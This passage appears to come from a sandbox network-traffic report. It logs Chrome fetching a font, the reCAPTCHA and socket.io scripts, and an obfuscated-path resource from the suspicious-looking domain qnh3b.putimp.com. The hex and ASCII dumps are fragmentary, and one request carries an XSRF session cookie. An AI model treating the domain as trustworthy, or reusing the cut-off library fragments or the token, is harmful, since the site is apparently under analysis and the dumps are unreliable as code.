2024-04-16 19:40:09 UTC	641	IN	Data Raw: 32 64 34 33 0d 0a 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 Data Ascii: 2d43wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tlh.+headv46}hhea
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 57 b8 7e 1c f0 9f 6e 4e 3c 78 ce 3f d1 ff ae 7f 7d 6a 6e ea 05 a9 57 a7 0e 4d bd 37 f5 f1 d4 3f a4 be 9c 3a 2d 75 41 6a 51 ea be 34 4a f3 a5 5d 92 76 6d da f0 b4 07 d2 9e 48 7b 26 ed 0d 81 79 81 9c 40 cf c0 83 81 47 03 8f 05 7e 1b 18 17 98 18 d8 12 78 3d f0 56 a0 08 67 0d 3b d0 9b 07 40 81 14 4a a3 6c ca a1 1e 94 47 bd e8 4c ba 90 ee a5 9f 20 67 2a 4d a7 b7 68 2e cd a3 c5 b4 94 96 51 21 7d 42 c5 b4 9a d6 51 09 6d a4 4d b4 85 b6 52 1d 35 2a bf 4a 55 69 2a a8 f2 55 5f 35 40 5d ae ae 50 57 aa 81 ea 2a 35 48 0d 56 57 ab 6b d4 b5 ea 3a 35 44 5d af 6e 50 23 d4 18 35 56 3d a9 c6 a9 a7 d4 78 f5 b4 9a a0 9e 57 2f a8 89 ea 45 35 49 bd 04 8a 4e 56 53 d4 54 d0 75 ba 9a a1 5e 55 33 d5 5f d4 1b ea 6d 35 47 2d 50 8b d5 12 55 a8 8a d4 47 6a 95 2a 56 ab d5 a7 6a 8d 5a ab Data Ascii: W~nN<x?}jnWM7?:-uAjQ4J]vmH{&y@G~x=Vg;@JlGL gMh.Q!}BQmMR5JUiU_5@]PW5HVWk:5D]nP#5V=xW/E5INVSTu^U3_m5G-PUGj*VjZ
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: d0 10 b4 10 92 b7 75 f9 ed ba bc dc ed c2 dd 2e dc d5 81 42 25 28 91 82 67 6b f0 2c 6c 53 02 fd 2e 91 92 fa 89 f4 1c 7a a8 a9 f5 84 a1 c3 0e d3 cb 5a b4 d1 5d b7 a1 8a f8 a4 c6 42 f0 0e a2 c4 21 69 4b 73 78 0e 5d 21 58 28 d8 95 20 fa 14 29 13 32 65 34 a6 57 ab a5 a8 0d cf 40 fb 6c d0 de ee 73 03 30 68 c0 7b 3e 7d 27 14 ca 17 bd 07 be a8 a9 00 2d 3a 4f d6 e1 0d 70 0b f4 8a e0 9c a5 69 07 3a 1f c1 db c9 f0 f2 79 f0 13 cb e0 fb fc c6 27 ed b7 bd 3d ac 5d 21 b0 b3 ad 2e f0 04 b6 61 ad 5b 68 b9 10 b6 63 0c 3c e1 58 d8 86 27 79 35 f4 ca 6f ac ef 26 d1 a5 c9 90 86 a9 90 f9 69 22 b5 b0 ba d0 e2 57 91 3f 13 16 73 16 f2 6d 3b a2 71 98 0b 1d 50 b6 05 84 34 c3 fa 42 92 0b d0 aa e6 6b 37 48 d4 71 d4 7f 5c fc e1 04 d0 60 32 d2 62 78 80 25 48 ef 23 2d 43 fa 00 e9 23 3c Data Ascii: u.B%(gk,lS.zZ]B!iKsx]!X( )2e4W@ls0h{>}'-:Opi:y'=]!.a[hc<X'y5o&i"W?sm;qP4Bk7Hq\`2bx%H#-C#<
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 4a e8 19 e1 85 3b c5 fc 63 36 fd 3f 39 3a 10 37 f2 f9 43 fe 25 cf e7 67 f4 aa 92 8e 09 ec 88 cb d1 3f f8 d4 2f 78 07 e4 e7 59 de 27 33 7a 51 71 a4 ac 37 7c c9 f3 3a 00 45 9b e0 f7 6b 29 5b e6 e4 eb 78 b6 79 9c 1c d9 99 24 d6 27 e8 59 3b f3 99 f9 05 2b f1 d2 c0 c7 e0 9b 82 b2 d7 aa d6 8c c3 1b f5 0e 4a cf 4c 82 83 b1 89 86 cc 2c 49 c7 f0 4d 56 64 3e 23 ce b8 34 d4 96 47 4a c0 1c 9f 8f df e5 cd bc 08 e7 46 48 4a 19 62 c7 32 7b 4d 8f 27 ea 39 53 c8 f9 2e c8 fb 5e f8 a8 23 b2 9f 23 cc ab 0d ae 13 e5 b7 02 b1 e4 5e f3 64 25 c6 59 47 79 27 57 f2 6b bc 9d 17 71 0d 4a ef 32 29 64 e6 07 fd c8 0d f3 6c fe 2b ea 6c d0 ad f1 3a ea 09 3a e4 f0 74 68 df f6 d3 90 93 1a b3 57 63 bf f6 a8 68 37 cc 27 a1 a7 e9 68 b5 0a d7 0d 7a 3f a4 94 39 89 9e 85 1d 49 32 eb 54 3a bf 41 Data Ascii: J;c6?9:7C%g?/xY'3zQq7\|:Ek)[xy$'Y;+JL,IMVd>#4GJFHJb2{M'9S.^##^d%YGy'WkqJ2)dl+l::thWch7'hz?9I2T:A
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: c7 62 c6 9e 87 a5 c6 10 6c 66 7d 74 74 ed ec 19 8f 3f ef 6e 76 41 57 a3 b6 45 ad c7 f9 a0 48 9d eb 11 c2 46 8f 37 c2 7e d5 9f c6 d8 b1 07 de 7c 88 e7 f0 b3 12 07 54 bb b3 c0 9a 97 c9 e0 76 03 b4 79 0e a4 7d 2d f4 6b 83 fb 96 ec 64 6a ae 10 6a 96 1a 6c f9 14 34 ab dd 51 39 6c 42 b9 d8 28 8f 07 d2 31 9b 8c 25 6a 63 e3 19 89 16 43 32 a2 ac 89 1e 6d 7b e6 31 7c f1 f7 3a b4 90 97 c3 ed 7d 71 d3 6e 84 68 79 ca f8 dc f1 8a 13 b3 46 8f 64 ca 90 57 04 ab fe 26 a2 a8 50 fc 31 a1 ac 4e 26 47 7d ab d2 e0 91 b2 86 88 7e c1 3e ae 8b 79 fb 60 7b 74 8e 13 fd 1f a1 b3 e5 e6 42 d7 57 d7 da bb 7d 81 6b 5b d1 7d 72 64 14 2e ba aa 47 10 8d d1 a3 4d c7 ea d9 76 a6 e5 08 d2 b5 51 8b 62 2d 64 94 25 38 e2 68 b6 89 9d c2 90 ce 46 91 fc d0 e9 7f 67 e7 e0 e8 ac fc 49 8d 8d 1a e2 cf Data Ascii: blf}tt?nvAWEHF7~\|Tvy}-kdjjl4Q9lB(1%jcC2m{1\|:}qnhyFdW&P1N&G}~>y`{tBW}k[}rd.GMvQb-d%8hFgI
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: d7 c9 18 38 f2 7c 48 2b 70 3d fa 73 83 f4 c9 81 1b 05 1e 6c 03 6e 32 70 b3 0b df 77 61 14 dd 42 b7 d2 50 1a 4d 23 c0 eb db e9 6e 1a 09 b8 0b f0 43 3c bb 1b f0 23 e4 17 d0 7d f4 53 fa 19 72 2e a7 fb e9 0a f0 7d 14 ca 8f 40 de 2d f8 1d 89 f3 48 f1 e3 77 e3 ad 3e 38 ff 18 ef f4 c6 59 d7 35 0a 69 b4 bc 3b 1a 4f 74 cd b7 b4 03 23 80 8f 03 a3 a5 9d 78 70 bb 01 8d f1 0f 5c 20 73 e7 f4 80 90 ec 7e 38 f0 a3 56 e0 c7 e8 e3 7d d2 4f 07 7e 26 30 b2 0d b8 df c0 03 2e 8c 72 e1 9b 3a 86 21 ce e9 26 ff 3e ac d3 30 c0 1d f4 8f 92 d2 69 00 75 81 cf f2 23 ea ba 0d 25 6f 13 b8 0c de f1 3c ba 07 d0 03 5e e4 7c ba 40 f4 b7 2b d9 bb f2 f4 57 71 69 64 ff 53 f4 70 99 b5 89 9e 99 f1 fe 4b 90 d6 75 a2 3b 01 57 d2 39 f4 5d fa 07 3a 13 d1 db c5 d0 7f e7 4b e9 db 4c bb 67 9b ef 91 cf Data Ascii: 8\|H+p=sln2pwaBPM#nC<#}Sr.}@-Hw>8Y5i;Ot#xp\ s~8V}O~&0.r:!&>0iu#%o<^\|@+WqidSpKu;W9]:KLg
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 66 d0 31 46 26 46 06 43 b6 2c 61 8c f5 fb be f6 68 9f 16 4b 66 fa cf 52 a7 3a 75 f4 9e f3 de f7 fe cf 7b ee bd cf b9 ff e7 f7 bc 40 08 65 b3 1e b2 2b 61 31 56 a9 b4 0e 0d 6b 62 6b 0a 89 84 53 8b ab 68 cf 0d f4 21 8e 78 06 31 9c 51 2c 65 05 d9 ac 55 3d 8d 52 b2 8e ea a4 0a 55 ec d4 75 da 3a bd 9d 0f 9c 63 21 39 21 b9 6e ac 3b c1 9d ee 2e 76 33 dc 15 ee 2a 77 83 bb d9 dd e7 1e 74 0b dd d3 5e 4d af 8e e7 7a 3e 2f ca 6b e9 75 f0 62 bc a5 de 0a 2f cb cb f6 d6 45 d6 8a f4 45 46 45 4e 8b 4c f6 39 be 70 5f 15 5f 75 5f 1d 9f eb 6b e6 eb e2 8b f3 3d d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 7a b9 a6 2b cf 74 fd a0 33 4e 44 a9 ae 2d 4e 41 a9 ae 18 37 d1 9d e6 2e 74 d3 Data Ascii: Lc` #f1F&FC,ahKfR:u{@e+a1VkbkSh!x1Q,eU=RUu:c!9!n;.v3*wt^Mz>/kub/EEFENL9p__u_k=x{VeYlhqhAn/L`FrXz+t3ND-NA7.t
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 69 71 61 f6 3d 33 9f f9 cc 67 3e f3 f9 cc 7c 66 86 c1 cc c3 0c c3 7e c6 de 64 58 46 c9 a8 6e f0 1c 66 70 72 bc 46 a7 d6 45 ab 75 ea 87 d9 9c 91 d7 f0 97 d6 b9 ec cd 91 82 62 36 79 e4 1d 86 61 10 d3 c9 34 a8 da b8 53 8c 8a 89 b1 e8 31 42 0c 2a 65 11 53 82 10 2a 86 af 11 33 9f a0 6a 01 88 2a d4 7e 58 e9 1f 1f ad 44 48 8b 78 bf 68 6e ae 66 24 8e 7d 5f 63 dd ad 18 fe a6 ff 2f f7 e0 48 1c b2 5f b8 86 07 10 29 77 0d 94 bb da 56 ae 12 b2 a3 52 05 42 25 2a c4 14 33 04 30 9f 14 5e 4b 90 15 6a 35 2d 17 f1 e9 d1 c8 8c 10 b7 07 f7 7c d3 af d8 6b dd ed c3 7e 30 12 fb 17 34 1b 0d 60 54 b1 df fa a9 f5 63 20 86 c1 4c 3a c3 70 bf e7 87 a0 95 ae a4 74 86 83 52 38 d4 c4 23 96 f5 2c c3 50 ba 17 53 ce 30 ae 2e 00 50 aa d5 6a 85 52 1b 8f 90 9e d5 b1 7a a4 65 75 f8 2d ac bd b6 Data Ascii: iqa=3g>\|f~dXFnfprFEub6ya4S1BeS3j~XDHxhnf$}_c/H_)wVRB%30^Kj5-\|k~04`Tc L:ptR8#,PS0.PjRzeu-
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 35 eb dc d7 17 e1 73 f6 6c f8 dc f2 cc 1a b3 79 cd 33 5b b6 3c d3 6b 36 f7 3e a3 5e fb 3a 52 1e 38 80 54 3f 5a bb f6 75 e1 9b 03 07 84 af 7f b4 f6 58 c3 7d ef ad 5e fd de 7d 0d b6 4f 51 df 71 b3 a0 cd 9e 40 4e 9c c5 00 72 cc 20 cc a2 46 50 06 36 b5 40 9b ee ed e5 ef eb a5 f5 d6 aa 8d 11 64 ae 92 a6 0c 98 2c f4 c0 07 71 92 20 2a ef 78 d7 b5 cd 45 45 5b 6e 74 ff e5 22 3a 74 e6 cc b9 53 7f e5 87 cc 6d c7 17 37 9e 58 9a 61 3d 8f bf da d6 df b7 4b 50 42 bd 3d a3 67 f9 eb c0 1f 2d 93 c4 58 2c 53 c3 42 43 82 7d 78 cc fa 69 c0 20 c0 a5 be 64 0a 9e 9c 65 81 01 88 31 44 07 24 05 26 01 cb b4 48 3b 39 cb 94 5a a5 81 b0 2d c3 6c 30 6b 33 32 c6 f1 0e d9 78 46 3e e7 ce fa d1 f2 57 cb 5e e9 9d 37 9c fe 79 f7 27 e9 a9 c0 3b 67 3c 3c 26 dc 5d f2 a3 e6 57 cd 53 8f 19 a3 3f Data Ascii: 5sly3[<k6>^:R8T?ZuX}^}OQq@Nr FP6@d,q *xEE[nt":tSm7Xa=KPB=g-X,SBC}xi de1D$&H;9Z-l0k32xF>W^7y';g<<&]WS?
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 0d 0a 39 63 64 0d 0a 96 42 98 47 4d 74 8e 21 03 8b 48 28 d8 db 30 d0 82 a9 33 15 ec eb e3 ee e6 ea a2 52 32 81 28 50 09 da 0f 45 02 e9 19 66 da 0a 13 52 10 8a 45 57 4a 81 80 f0 ae 25 cb cb 67 f4 89 4e e8 56 ac 6d 6d cf 4c 89 b3 04 94 46 af b0 fe 1c 68 16 aa 96 55 17 6e 4a 40 33 89 57 7a 67 bd 61 75 41 4a 8e 31 ca 92 31 55 31 8b ba a8 c4 9e 12 e6 70 cf 02 bd 11 4c b9 65 66 58 28 56 91 e1 64 93 29 7b 49 42 60 ed 03 9f cb 18 22 48 2e 36 7a 83 03 35 3e 6a 6f 2f 4f 0f 91 68 05 13 81 22 5c c7 a8 b6 1b 5a 7e 9e ec 18 e9 ec db 4d dd c5 79 d6 39 63 8e 50 de 92 69 ba a9 29 09 85 41 a5 86 35 c2 9c ee ea a2 0d 46 69 bc 85 9e 62 63 a7 96 c5 98 32 8d fa e9 a6 3c 42 73 99 50 85 5d e8 fc 01 d6 90 c6 c7 45 c1 51 25 20 cf 23 ac 8d 3a 6f 4f e0 23 cc 22 dc 18 45 30 7d 8c e3 Data Ascii: 9cdBGMt!H(03R2(PEfREWJ%gNVmmLFhUnJ@3WzgauAJ11U1pLefX(Vd){IB`"H.6z5>jo/Oh"\Z~My9cPi)A5Fibc2<BsP]EQ% #:oO#"E0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49780	64.233.177.105	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:08 UTC	715	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qnh3b.putimp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:40:08 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Tue, 16 Apr 2024 19:40:08 GMT Date: Tue, 16 Apr 2024 19:40:08 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-16 19:40:08 UTC	727	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-16 19:40:08 UTC	502	IN	Data Raw: 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 72 7a 34 44 76 55 2d 63 59 32 4a 59 43 77 48 53 54 63 6b 30 5f 71 6d 2d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 65 5a 47 38 65 34 6e 52 70 30 67 45 70 52 42 37 35 Data Ascii: cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-eZG8e4nRp0gEpRB75
2024-04-16 19:40:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49781	108.156.152.4	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:08 UTC	623	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qnh3b.putimp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:40:09 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Tue, 16 Apr 2024 19:40:08 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: iad1::wnxjz-1713296408969-670e28de6495 X-Cache: Miss from cloudfront Via: 1.1 aa6f2c1ce9c2a64d958c51bd30439f3c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P3 X-Amz-Cf-Id: 045Z5NxRyKvroUb8edL5DYXi1WFb3JsTq02Il-awG4kuzO54UYlgXA== Age: 612442
2024-04-16 19:40:09 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-04-16 19:40:09 UTC	16384	IN	Data Raw: 6c 65 3d 21 31 3b 66 6f 72 28 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 2c 69 3d 6e 3d 3d 3d 74 2e 6c 65 6e 67 74 68 2d 31 3b 45 28 72 2c 65 2e 73 75 70 70 6f 72 74 73 42 69 6e 61 72 79 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 65 2e 77 73 2e 73 65 6e 64 28 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 26 26 69 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 77 72 69 74 61 62 6c 65 3d 21 30 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 64 72 61 69 6e 22 29 7d 29 2c 65 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 29 7d 29 29 7d 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 28 72 29 7d 7d 2c 7b 6b 65 79 3a 22 64 6f 43 6c 6f 73 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f Data Ascii: le=!1;for(var n=function(n){var r=t[n],i=n===t.length-1;E(r,e.supportsBinary,(function(t){try{e.ws.send(t)}catch(t){}i&&it((function(){e.writable=!0,e.emitReserved("drain")}),e.setTimeoutFn)}))},r=0;r<t.length;r++)n(r)}},{key:"doClose",value:function(){vo
2024-04-16 19:40:09 UTC	3028	IN	Data Raw: 73 68 69 66 74 28 74 29 2c 74 68 69 73 2e 5f 6f 70 74 73 2e 72 65 74 72 69 65 73 26 26 21 74 68 69 73 2e 66 6c 61 67 73 2e 66 72 6f 6d 51 75 65 75 65 26 26 21 74 68 69 73 2e 66 6c 61 67 73 2e 76 6f 6c 61 74 69 6c 65 29 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 61 64 64 54 6f 51 75 65 75 65 28 6e 29 2c 74 68 69 73 3b 76 61 72 20 69 3d 7b 74 79 70 65 3a 45 74 2e 45 56 45 4e 54 2c 64 61 74 61 3a 6e 2c 6f 70 74 69 6f 6e 73 3a 7b 7d 7d 3b 69 66 28 69 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6d 70 72 65 73 73 3d 21 31 21 3d 3d 74 68 69 73 2e 66 6c 61 67 73 2e 63 6f 6d 70 72 65 73 73 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 6e 2e 6c 65 6e 67 74 68 2d 31 5d 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 69 64 73 2b 2b 2c 73 3d 6e 2e 70 6f 70 28 29 3b 74 68 Data Ascii: shift(t),this._opts.retries&&!this.flags.fromQueue&&!this.flags.volatile)return this._addToQueue(n),this;var i={type:Et.EVENT,data:n,options:{}};if(i.options.compress=!1!==this.flags.compress,"function"==typeof n[n.length-1]){var o=this.ids++,s=n.pop();th
2024-04-16 19:40:09 UTC	10010	IN	Data Raw: 29 22 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 45 74 2e 45 56 45 4e 54 3a 63 61 73 65 20 45 74 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 3a 74 68 69 73 2e 6f 6e 65 76 65 6e 74 28 74 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 45 74 2e 41 43 4b 3a 63 61 73 65 20 45 74 2e 42 49 4e 41 52 59 5f 41 43 4b 3a 74 68 69 73 2e 6f 6e 61 63 6b 28 74 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 45 74 2e 44 49 53 43 4f 4e 4e 45 43 54 3a 74 68 69 73 2e 6f 6e 64 69 73 63 6f 6e 6e 65 63 74 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 45 74 2e 43 4f 4e 4e 45 43 54 5f 45 52 52 4f 52 3a 74 68 69 73 2e 64 65 73 74 72 6f 79 28 29 3b 76 61 72 20 65 3d 6e 65 77 20 45 72 72 6f 72 28 74 2e 64 61 74 61 2e 6d 65 73 73 61 67 65 29 3b 65 2e 64 61 74 61 3d 74 2e 64 61 74 61 2e 64 61 74 61 2c 74 68 69 Data Ascii: )"));break;case Et.EVENT:case Et.BINARY_EVENT:this.onevent(t);break;case Et.ACK:case Et.BINARY_ACK:this.onack(t);break;case Et.DISCONNECT:this.ondisconnect();break;case Et.CONNECT_ERROR:this.destroy();var e=new Error(t.data.message);e.data=t.data.data,thi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49782	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:09 UTC	1417	OUT	GET /89Gdd5VtslDof12yyqgTFeyz80 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://qnh3b.putimp.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; 